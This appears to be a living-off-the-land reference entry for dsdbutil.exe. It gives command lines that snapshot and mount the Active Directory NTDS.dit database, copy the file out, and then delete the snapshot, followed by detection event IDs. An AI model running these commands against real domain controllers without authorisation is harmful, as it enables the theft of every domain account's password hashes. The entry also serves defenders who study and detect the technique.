dsdbutil.exe
aliases: dsDbUtil.exe
Full path
C:\Windows\System32\dsdbutil.exe
C:\Windows\SysWOW64\dsdbutil.exeCommands
Snapshoting of Active Directory NTDS.dit database
dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"dsdbutil supports VSS snapshot creation
os: Windows Server 2012, Windows Server 2016, Windows Server 2019
Mounting the snapshot to access the ntds.dit with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`
dsdbutil.exe "activate instance ntds" "snapshot" "mount {GUID}" "quit" "quit"Mounting the snapshot with its GUID
os: Windows Server 2012, Windows Server 2016, Windows Server 2019
Deletes the snapshot
dsdbutil.exe "activate instance ntds" "snapshot" "delete {GUID}" "quit" "quit"Deletes the mount of the snapshot
os: Windows Server 2012, Windows Server 2016, Windows Server 2019
Mounting the snapshot identifier 1 and accessing it with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`
dsdbutil.exe "activate instance ntds" "snapshot" "create" "list all" "mount 1" "quit" "quit"Mounting with snapshot identifier
os: Windows Server 2012, Windows Server 2016, Windows Server 2019
deletes the snapshot
dsdbutil.exe "activate instance ntds" "snapshot" "list all" "delete 1" "quit" "quit"Deletes the mount of the snapshot
os: Windows Server 2012, Windows Server 2016, Windows Server 2019
Detection
- IOCEvent ID 4688
- IOCdsdbutil.exe process creation
- IOCEvent ID 4663
- IOCRegular and Volume Shadow Copy attempts to read or modify ntds.dit
- IOCEvent ID 4656
- IOCRegular and Volume Shadow Copy attempts to read or modify ntds.dit
Resources
acknowledgement: bohop @bohops, Ekitji @eki_erk